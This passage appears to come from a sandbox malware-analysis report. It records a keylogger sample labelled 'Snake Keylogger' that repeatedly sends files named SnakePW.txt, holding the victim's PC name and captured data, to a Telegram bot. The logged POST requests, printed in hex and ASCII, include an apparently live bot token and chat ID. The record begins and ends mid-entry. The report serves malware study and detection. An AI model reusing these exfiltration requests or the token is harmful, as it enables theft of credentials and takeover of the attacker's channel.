{"ok":true,"result":{"message_id":67091,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228888,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.5	50238	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:48 UTC	513	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571d082464 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:48 UTC	513	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 64 30 38 32 34 36 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571d082464Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:48 UTC	514	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:48 UTC	514	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67092,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228888,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.5	50239	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:48 UTC	515	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571d43c05b Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:48 UTC	515	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 64 34 33 63 30 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571d43c05bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:49 UTC	515	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:49 UTC	516	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67093,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228888,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.5	50240	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:49 UTC	516	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571d7cf778 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:49 UTC	517	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 64 37 63 66 37 37 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571d7cf778Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:49 UTC	517	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:49 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:49 UTC	517	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67094,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228889,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.5	50241	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:49 UTC	518	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571dd52e6f Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:49 UTC	518	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 64 64 35 32 65 36 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571dd52e6fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:49 UTC	519	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:49 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:49 UTC	519	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67095,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228889,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.5	50242	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:50 UTC	520	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571e10c94e Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:50 UTC	520	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 65 31 30 63 39 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571e10c94eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:50 UTC	520	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:50 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:50 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67096,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228890,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.5	50243	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:50 UTC	521	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571e4a018c Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:50 UTC	522	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 65 34 61 30 31 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571e4a018cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:50 UTC	522	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:50 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:50 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67097,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228890,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49801	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:51 UTC	52	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dbd4e751 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:51 UTC	52	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 62 64 34 65 37 35 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dbd4e751Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:51 UTC	53	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:51 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:51 UTC	53	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66778,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228771,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.5	50244	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:50 UTC	523	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571e833a3a Host: api.telegram.org Content-Length: 504
